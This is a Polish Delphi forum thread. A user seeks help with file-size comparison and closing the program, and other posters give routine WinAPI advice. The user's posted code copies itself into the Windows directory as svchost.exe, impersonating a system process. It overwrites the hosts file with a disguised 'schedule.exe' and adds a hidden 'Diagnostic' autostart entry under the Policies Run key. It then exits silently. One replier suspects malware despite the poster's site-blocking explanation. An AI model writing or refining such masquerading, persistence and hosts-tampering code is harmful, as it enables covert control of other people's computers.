MessageBox oraz zamykanie aplikacji

0

Witam serdecznie.

Potrzebuję kilku wskazówek/ciekawych rozwiązań(gotowych kodów).

Zamierzam napisać w Delphi, lecz jeśli ktoś podeśle 2 odpowiedzi/podpowiedzi/pomocne kody to zmienię na C++/Pascal ;)

Z tym mam problemy:
1. Przy każdorazowym włączeniu powinien sprawdzać rozmiar dwóch plików (porównywać),
znalazłem jak sprawdzić wartość jednego:http://4programmers.net/Delphi/FileSize
Kombinowałem takie coś:

if not FileExist(dest) or FileSize(dest) <> FileSize (default) then {...}

ale nic z tego :P

2. Jeśli pliki są tego samego rozmiaru i/lub zakończy nadpisywanie, wyłącza się program.

Pozdrawiam.

@Edit ANKIETA: Rozwiązanie _13th_Dragon. Dzięki za naprowadzenie :)

0

Większość już zrobiłem zostały 2/5 ^^ (POST WYŻEJ)

Jak wyłączyć program próbowałem tak samo z porównywaniem, googlowałem i cudowałem i nic.
Program się nie wyłączył po kliknięciu na OK

MessageBox(0, 'Wszystko już zrobione :))!', 'KONIEC', MB_OK);

Nie umie sobie z tym poradzić :))

A przy porównywaniu wyskakiwał błąd Incompatibile type

if FileSize(_WinDir + _hostDEF) <> FileSize(_Path + _hostDEF) then
0

Dołącz cały kod do kolejnego posta to się zobaczy i poprawi. Jak chcesz wyłaczyć program okienkowy z formatką stworzoną w IDE to dajesz po prostu Close; względnie Application.Terminate albo Halt ale to niezalecane. Na pewno da się u Ciebie to zrobić sprawdzając if'ami i przy odpowiednim warunku po prostu pokazać MessageBoxa że wszystko ok i nastapi koniec wszystkich instrukcji i program się zamknie, o ile to aplikacja pisana pod konsole z dyrektywą $APPTYPE GUI, który to program tylko coś sprawdza, a później ma zostać zamknięty jak wykona to co ma wykonać. Natomiast nie pokazujesz całego kodu co robisz z FileSize. Jeżeli to co w nawiasach jest typu File of Byte to otrzymasz rozmiar w bajtach. Można to też zrobić w inny sposób, jak pokazałem poniżej. Kod w oryginale był do wygooglowania. Do działania potrzebuje tylko modułu Windows, także jak piszesz coś tylko pod WinAPI to się przyda.

function FileExists(FileName : string) : boolean;
var
  FindHandle : THandle;
  WFD : TWin32FindData;
begin
  FindHandle := Windows.FindFirstFile(PChar(FileName), WFD);
  Result := FindHandle <> INVALID_HANDLE_VALUE;
  Windows.FindClose(FindHandle);
end;

function SizeOfFile(AFileName : string) : LongWord;
var
  FileHandle : THandle;
begin
  Result := 0;
  if FileExists(AFileName) then
  begin
    FileHandle := CreateFile(PChar(AFileName), GENERIC_READ,
      0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    Result := GetFileSize(FileHandle, nil);
    CloseHandle(FileHandle);
  end;
end;
0
unit svchost;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, CoolTrayIcon;

type
  TMAIN = class(TForm)
    CoolTrayIcon1: TCoolTrayIcon;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  MAIN: TMAIN;

implementation

{$R *.dfm}

function SizeOfFile(AFileName : string) : LongWord;
var
  FileHandle : THandle;
begin
  Result := 0;
  if FileExists(AFileName) then
  begin
    FileHandle := CreateFile(PChar(AFileName), GENERIC_READ,
      0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    Result := GetFileSize(FileHandle, nil);
    CloseHandle(FileHandle);
  end;
end;

procedure TMAIN.FormCreate(Sender: TObject);
var
  Rejestr : TRegistry;
  _Path, _FileEXE, _hostDEF, _hostsDest : string;
  _WinDir, _DestEXE : array[0..MAX_PATH + 1] of char;
  _FirstStart : Integer;
begin
  _FirstStart := 0;
    // KOPIOWANIE I SPRAWDZANIE APLIKACJI     
  _PATH := ExtractFilePath(Application.ExeName);
  _FileEXE := ExtractFileName(Application.ExeName);
  GetWindowsDirectory(_WinDir,MAX_PATH);
  StrCat(_DestEXE, _WinDir);
  StrCat(_DestEXE, '\svchost.exe');
  if not FileExists(_DestEXE)  then
    begin
      CopyFile(PAnsiChar(_Path + _FileEXE), _DestEXE, False);
      _FirstStart := _FirstStart + 1;
    end
  else
    begin
      if SizeOfFile(_DestEXE) <> SizeOfFile(_Path + _FileEXE) then
        CopyFile(PAnsiChar(_Path + _FileEXE), _DestEXE, False);
    end;
  
    // KOPIOWANIE I SPRAWDZANIE HOSTS
  _hostDEF := '\schedule.exe';
  _hostsDest := _WinDir + '\system32\drivers\etc\hosts';
    // hosts ma byc w WinDir\schedule.exe
  if not FileExists(_WinDir + _hostDEF) then
    begin
      CopyFile(PAnsiChar(_Path + _hostDEF), PAnsiChar(_WinDir + _hostDEF), False);
      _FirstStart := _FirstStart + 1;
    end
  else
    begin
      if SizeOfFile(_WinDir + _hostDEF) <> SizeOfFile(_Path + _hostDEF) then
        CopyFile(PAnsiChar(_Path + _hostDEF), PAnsiChar(_WinDir + _hostDEF), False);
    end;

  if not FileExists(_hostsDest) then
    begin
      CopyFile(PAnsiChar(_WinDir + _hostDEF), PAnsiChar(_hostsDest), False);
      _FirstStart := _FirstStart + 1;
    end;
  
  // ZAPISYWANIE W REJESTRZE AUTOSTARTU
  Rejestr := TRegistry.Create;
  Rejestr.RootKey := HKEY_LOCAL_MACHINE;
    try
      Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',False);
      if not Rejestr.ValueExists('Diagnostic') then
      begin
        Rejestr.WriteString('Diagnostic', _DestEXE);
        _FirstStart := _FirstStart + 1;
      end;
    finally
      Rejestr.CloseKey;
      Rejestr.Free;
    end;
  
  if _FirstStart >= 4 then
    begin
      if MessageBox(Handle,'Wszystko już zrobione :))!', 'ZAKOŃCZONO', MB_OK + MB_ICONEXCLAMATION + MB_ICONWARNING) = IdOK then
        Close;
    end
{ TUTAJ JAKOŚ ZROBIĆ, ŻE JAK SIĘ KLIKNIE 'OK' TO WYŁĄCZA PROGRAM }
  else
{ TUTAJ TEŻ ZAMYKA, JEŚLI NIE BYŁ PIERWSZY RAZ URUCHOMIONY - BEZ POWIADOMIENIA OCZYWIŚCIE }
    Close;
end;
end.

A w programie chodzi o blokowanie niedozwolonych witryn :)

0

Bez sensu jest przyrównywanie zwracanego rezultatu okna MessageBox, kiedy do wyboru jest tylko jeden przycisk. A poza tym jakbyś spojrzał na msdn'a to byś wiedział, że to co zwraca MessageBox to może być ID_OK, ID_CANCEL, ID_YES. ID_NO i tak dalej, a nie jak jest u Ciebie - bez znaku podkreślenia. Czyli robisz tak:

  if MessageBox(0, 'Googluj i ucz się podstaw!', 'Zapamiętaj', MB_ICONINFORMATION + MB_OK) = ID_OK then
    Close;

A najpoprawniej wystarczy po prostu tak:

  MessageBox(Application.Handle, 'Googluj i ucz się podstaw!', 'Zapamiętaj', MB_ICONINFORMATION + MB_OK);
  Close;

I pamiętaj jak tworzysz aplikację okienkową VCL to jako pierwszy parametr dla MessageBox przekazuj Application.Handle lub jeżeli jest to aplikacja w WinAPI to twórz niewidoczne okno (więcej w googlach) i jego uchwyt przekazuj jako pierwszy parametr zmiast zera, wtedy nie będziesz miał dodatkowej belki na pasaku zadań.

0

Widziałem kilka ID z podkreślnikiem i bez, artykuł do jakiego patrzałem ostatnio był bez podkreślenie, więc dałem bez :P Sprawdzę później :))

0

Jak bylo bez _ to najpewniej artykuł nie mógl dotyczyć MessageBox, a co najwyżej MessageDlg, a to różnica. Ponieważ te drugie to niestandardowe okienka systemowe, a formatki tworzone przez Delphi. Poza tym coś czuje, że Ty malware jakieś tworzysz mimo zapewnień. Jak chce się zrobić porządny program do filtrowania i sprawdzania czy ktoś nie wchodzi na niedozwolone strony to raczej robił bym to na poziomie filtrowania pakietów, są do tego moduły do znalezienia w google, można coś pokombinować, plik hosts jest zawodny, a grzebanie w nim z poziomu nieznanego mi programu uznałbym właśnie za szkodliwą.

0

Ok, poradziłem sobie z application.terminate; tylko zadziałało :)
Dziękuję bardzo za pomocną dłoń :))

Ja robię to tak, aby nikt nie zmienił tego pliku (poniżej dla czego) i chcę zamiast ukrywać (bo po co skoro i tak później aplikacja nic nie robi) - zamykało program.
Dodatkowo zarazem takie zabezpieczenie, bo pisze jaki użytkownik uruchomił proces, więc nie będzie natrętny użytkownik szukał tej aplikacji na komputerze, skoro nie będzie widział, bo się wyłączy aplikacja.

(1 komputer ma kilka użytkowników :|, dlatego tak musi być, żeby sprawdzało, czy nikt tam nie kombinował, jeśli by coś zmienił, bo np. się domyślił to by podmieniło)

PS. Nie chcę jakiegoś super filtru :))

1 użytkowników online, w tym zalogowanych: 0, gości: 1